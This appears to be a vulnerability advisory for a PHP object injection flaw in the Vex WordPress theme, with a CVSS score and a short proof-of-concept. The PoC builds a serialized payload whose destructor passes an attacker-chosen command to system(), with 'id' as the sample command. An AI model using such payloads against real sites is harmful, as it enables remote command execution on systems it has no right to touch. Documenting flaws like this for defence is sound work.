Deserialization of Untrusted Data vulnerability in rascals Vex vex allows Object Injection.This issue affects Vex: from n/a through < 1.2.9.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Vex < 1.2.9
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// PoC for CVE-2026-25360: WordPress Vex Theme PHP Object Injection
// This script generates a payload to demonstrate the vulnerability.
// Note: Actual exploitation depends on available classes (Gadget chains) in the target environment.
class Vulnerable_Class {
// Placeholder for a class that might exist in the theme or WordPress core
public $data;
public function __destruct() {
// Simulated malicious action
system($this->data);
}
}
// Generate the payload
$object = new Vulnerable_Class();
$object->data = "id"; // Command to execute
// Serialize the object
$payload = serialize($object);
echo "Generated Payload:\n";
echo urlencode($payload); // Usually needs to be URL encoded for HTTP transmission
?>